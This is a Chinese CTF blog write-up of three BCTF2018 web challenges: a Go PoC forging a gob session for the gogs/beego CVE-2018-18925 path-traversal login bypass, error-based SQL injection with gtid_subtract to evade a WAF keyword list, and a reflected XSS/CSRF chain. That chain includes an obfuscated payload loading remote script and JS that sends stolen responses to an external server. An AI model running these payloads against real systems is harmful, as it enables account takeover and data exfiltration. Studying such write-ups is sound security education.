BCTF2018-web(1)

前言

总结一下BCTF2018的解题过程,这篇博客只有其中三道题,包括但不仅限于gogs框架的任意用户登录漏洞、SQL报错注入、XSS。

虽然自己做的时候都没做出来,但在看wp的过程中回顾自己的思路时,从中发现了自己的思路偏在哪里了,有哪些从前没想过的切入点。

checkin

输入一个不存在的url,看到404报错,提示:

Powered by beego 1.7.2

思路是老大提供的

关于gitea/gogs的CVE-2018-18925/6任意用户登录/代码执行漏洞

go-macaron(https://github.com/go-macaron/session version<0.4.0)

beego(https://github.com/astaxie/beego version<1.11.0)

都存在这个问题,p神的vulhub中也有这个洞的docker:CVE-2018-18925

以文件存储session,且sessionid没有过滤./的时候导致可以用任意文件作为session

所以这道题可以在头像上传处上传伪造的session文件,再用sessionid包含即可伪造身份为admin

这里不能使用之前的poc构造session文件了,要改一下,我当时做题时就不知道怎么改,现在学到了一些思路。

先上传一个0B的图片,把session设置成该地址,登陆后下载头像,解析其中的字段类型,发现两项

1
2
UID int
username string

可以直接改CVE-2018-18925的poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}

func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"username": "admin", "UID": uid}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("test2.png", data, 0777)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}

跑完poc得到一段十进制数据

放到CyberChefFrom HEX功能中,存个poc.jpg

上传poc.jpg后修改sessionid为上传的返回地址../../../../../../go/src/github.com/checkin/website/static/img/avatar/xxxxxxx.png,登陆到admin用户,访问Admin Panel得到flag

babySQLiSPA

这道题我第一眼看了以为是二次注入,然后在二次注入的路上越走越远,直到这道题官方的hint给了waf。

注册用户名的时候发现限定了[a-zA-Z0-9],把其它的都过滤了, 所以没法二次注入了。

r3kapig的writeup中提到,在看网页源码时发现是用webpack打包的,用webpack打包过后会生成.map文件,于是访问main.dfa730c5.js.map,在其中可以发现两个没有用到的api:

searchHints中用到的captcha就是从getCaptcha中得到的,于是:

/api/hints可以注入,且报错回显。

看一下给的WAF

1
2
3
export function checkHint (hint) {
return ! / |;|\+|-|\*|\/|<|>|~|!|\d|%|\x09|\x0a|\x0b|\x0c|\x0d|`|gtid_subset|hash|json|st\_|updatexml|extractvalue|floor|rand|exp|json_keys|uuid_to_bin|bin_to_uuid|union|like|sleep|benchmark/ig.test(hint)
}

使用报错函数gtid_subtract()绕过

hints:'or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((table_schema=database()))),''))or'

但发现返回的表名都是乱码,因为GTID_SUBTRACT()的报错信息有长度限制,最多140字节,Nu1L是限制表名长度来提取的,长度为30的时候拿到flag表”vhEFfFlLlLaAAaaggIiIIsSSHeReEE “

payload:hint='or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((length(table_name)=ord('j')^ord('t')))),''))or'

这里也可以引入reverse()函数倒序查看表名

然后再爆列名:hint='||gtid_subtract((select(concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'')#

报错信息:{"error":"Malformed GTID set specification 'ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO'."}

最后的payload:hints:'||gtid_subtract((select(ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO)from(vhEFfFlLlLaAAaaggIiIIsSSHeReEE)),'')#.

这道题主要没想到sql注入的位置,学习了一种报错注入用的函数。

SEAFARING1

做这道题时发现login处有个XSS,之前没做过XSS的题,登陆的时候需要验证码,也没发现有什么用。

还有一个robots.txt提示文件:

1
2
User-agent: *
Disallow: /admin/handle_message.php

view-source:http://seafaring.xctf.org.cn:9999/admin可以看到后台的部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function view_uid(uid) {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "view_uid", "uid": uid},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var Status = '';
$('#timestamp').text(data['timestamp']);
$('#username').text(data['user_name']);
$('#message').text(data['message']);
document.getElementById("replyuid").value=data['uid'];
if (parseInt(data['is_checked']) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
document.getElementById("status").innerHTML = Status;
}
else
alert('Error: ' + data["error"]);
}
});
}

进到/admin/handle_message.php中,提示:

{"result":"","error":"CSRFToken ''is not correct"}

注意到error双引号内部有个’’,猜测传入的csrftoken可能直接输出到了页面中

结合源码,发现csrftoken通过token参数使用post方法传入

1543840568134

传入后会回显token值,存在反射型XSS,构造类似<img src=1 onerror=alert(/xss/)>的payload时会发现对’/‘转义了。

接下来构造一个页面让管理员访问,这道题的评论链接会被bot机器人主动访问,因此构造csrf的html页面让bot访问。

之前发现了’/‘被转义了,所以这里我们使用svg或img进行xss,同时为了避免引号的问题,使用fromCharCode()方法或者使用base64编码再用atob()函数解码的方法。

1
2
3
4
5
String.fromCharCode(numX,numX,...,numX)
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。

参数
numX 一个或多个 Unicode 值,即要创建的字符串中的字符的 Unicode 编码。

html页面为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<script>
window.onload =function(){
document.getElementById("f").submit();
}

</script>
<form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php" id="f">

<input name="token" value="<body><img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL0dDNkRURz8nK01hdGgucmFuZG9tKCk='))></body>">
</form>



</html>

这里的value内容也可以替换为

1
<body><img src=x onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,46,99,110,47,69,121,76,83,53,99,103,39))></body>

注释:

1
2
3
4
5
6
7
>>>atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL0dDNkRURz8nK01hdGgucmFuZG9tKCk=')

"s=createElement('script');body.appendChild(s);s.src='http://xsspt.com/GC6DTG?'+Math.random()"

>>>String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,46,99,110,47,69,121,76,83,53,99,103,39)

"document.body.appendChild(document.createElement('script')).src='ht.cn/EyLS5cg'"

这里的链接地址是在xss平台上面建立的项目,引入js文件

当然也可以把js文件放在自己的vps上面

外部引入的js文件(Nu1l的师傅写的 ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function req(url,data){
var xhr = new XMLHttpRequest();
xhr.open("POST",url,false);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.send(data);
var resp = xhr.responseText;
return resp;
}

function getcsrf(){
var xhr = new XMLHttpRequest();
xhr.open("GET","http://seafaring.xctf.org.cn:9999/admin/index.php",false);
xhr.send();
var res = xhr.responseText;
var csrftoken = res.match(/csrf_token = \"([a-z0-9]*)\"/ig)[0].split('= "')[1].replace('"','');
return csrftoken;
}

function send(data){
location.href = "http://47.95.10.238/bctf.php?data="+escape(data);
}

var ress = req("http://172.20.0.2:6379/","token="+getcsrf()+"&action=view_unreads&status=3%20%20and%201%3D2%20union%20select%201%2Cload_file%280x2f70726f632f6e65742f617270%29%2C3%2C4%20from%20f111111ag%23");

send(ress);

send()函数中的href是自己的vps

发现返回了sqlquery debug信息

1
{"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1' ORDER BY id DESC "}

有一个接口存在数字型注入

1
{"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked FROM feedbacks  where is_checked=1\\' ORDER BY id DESC limit 0,50"}

爆表爆字段最后拿flag

1
2
3
{"result":[["1","admin,f111111ag,feedbacks","3","4"]],"error":""}
{"result":[["1","flllllag","3","4"]],"error":""}
{"result":[["1","bctf{XsS_SQL1_7438x_2xfccmk}","3","4"]],"error":""}

后记

xss是很久之前看的了,一直没有像这样进行一次系统的利用过,这次算是了了一桩心愿

大二上学期接下来的日子准备复习四级,复习期末,学一些渗透姿势和python,闲暇时打打ctf,就过去了

十二月了,要买回家的车票了,这次不想坐飞机,看不到沈阳的雪了

周末看了将夜,很久前看过的小说拍剧了,很好看

红墙白雪,要你喜欢。